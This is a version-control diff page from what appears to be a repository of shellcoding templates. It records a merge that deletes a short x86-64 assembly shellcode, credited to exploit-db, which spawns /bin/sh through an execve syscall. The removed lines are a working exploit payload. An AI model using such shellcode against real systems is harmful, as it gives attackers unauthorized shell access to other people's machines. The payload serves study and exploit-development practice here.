summaryrefslogtreecommitdiffstats
path: root/templates/shellcode/shell64.asm
diff options
context:
space:
mode:
authorMalfurious <m@lfurio.us>2023-01-15 10:20:14 -0500
committerMalfurious <m@lfurio.us>2023-01-15 10:20:14 -0500
commit593d6ede20e054279f3bcd7c52bffa05b1eeae04 (patch)
tree53aef3ba981f0d77a7ca9b2f2665557d0f578ee7 /templates/shellcode/shell64.asm
parentefcde85490e1ef9fccc2048a919898588b97de00 (diff)
parent8037b8c5acaeeeff32d6de01c06132a4f5e432bf (diff)
downloadlib-des-gnux-593d6ede20e054279f3bcd7c52bffa05b1eeae04.tar.gz
lib-des-gnux-593d6ede20e054279f3bcd7c52bffa05b1eeae04.zip
Merge branch 'shellcoding-enhancements'
Adds a reverse shell and other improvements for correctness, along with a general cleanup of the files. * shellcoding-enhancements: Ignore shellcode working files shellcode: Add sample for connecting a TCP socket shellcode: Update /bin/sh shellcodes shellcode: Remove shelltool shellcode: Update Makefile shellcode: Move example code to a new directory shellcode: Drop SYS_EXIT samples
Diffstat (limited to 'templates/shellcode/shell64.asm')
-rw-r--r--templates/shellcode/shell64.asm16
1 files changed, 0 insertions, 16 deletions
diff --git a/templates/shellcode/shell64.asm b/templates/shellcode/shell64.asm
deleted file mode 100644
index 2353b6f..0000000
--- a/templates/shellcode/shell64.asm
+++ /dev/null
@@ -1,16 +0,0 @@
-[SECTION .text]
-global _start
-
-; https://www.exploit-db.com/shellcodes/47008
-
-_start:
- xor rsi, rsi
- xor rdx, rdx
- push rsi
- mov rdi, 0x68732f2f6e69622f
- push rdi
- push rsp
- pop rdi
- mov al, 0x3b
- cdq
- syscall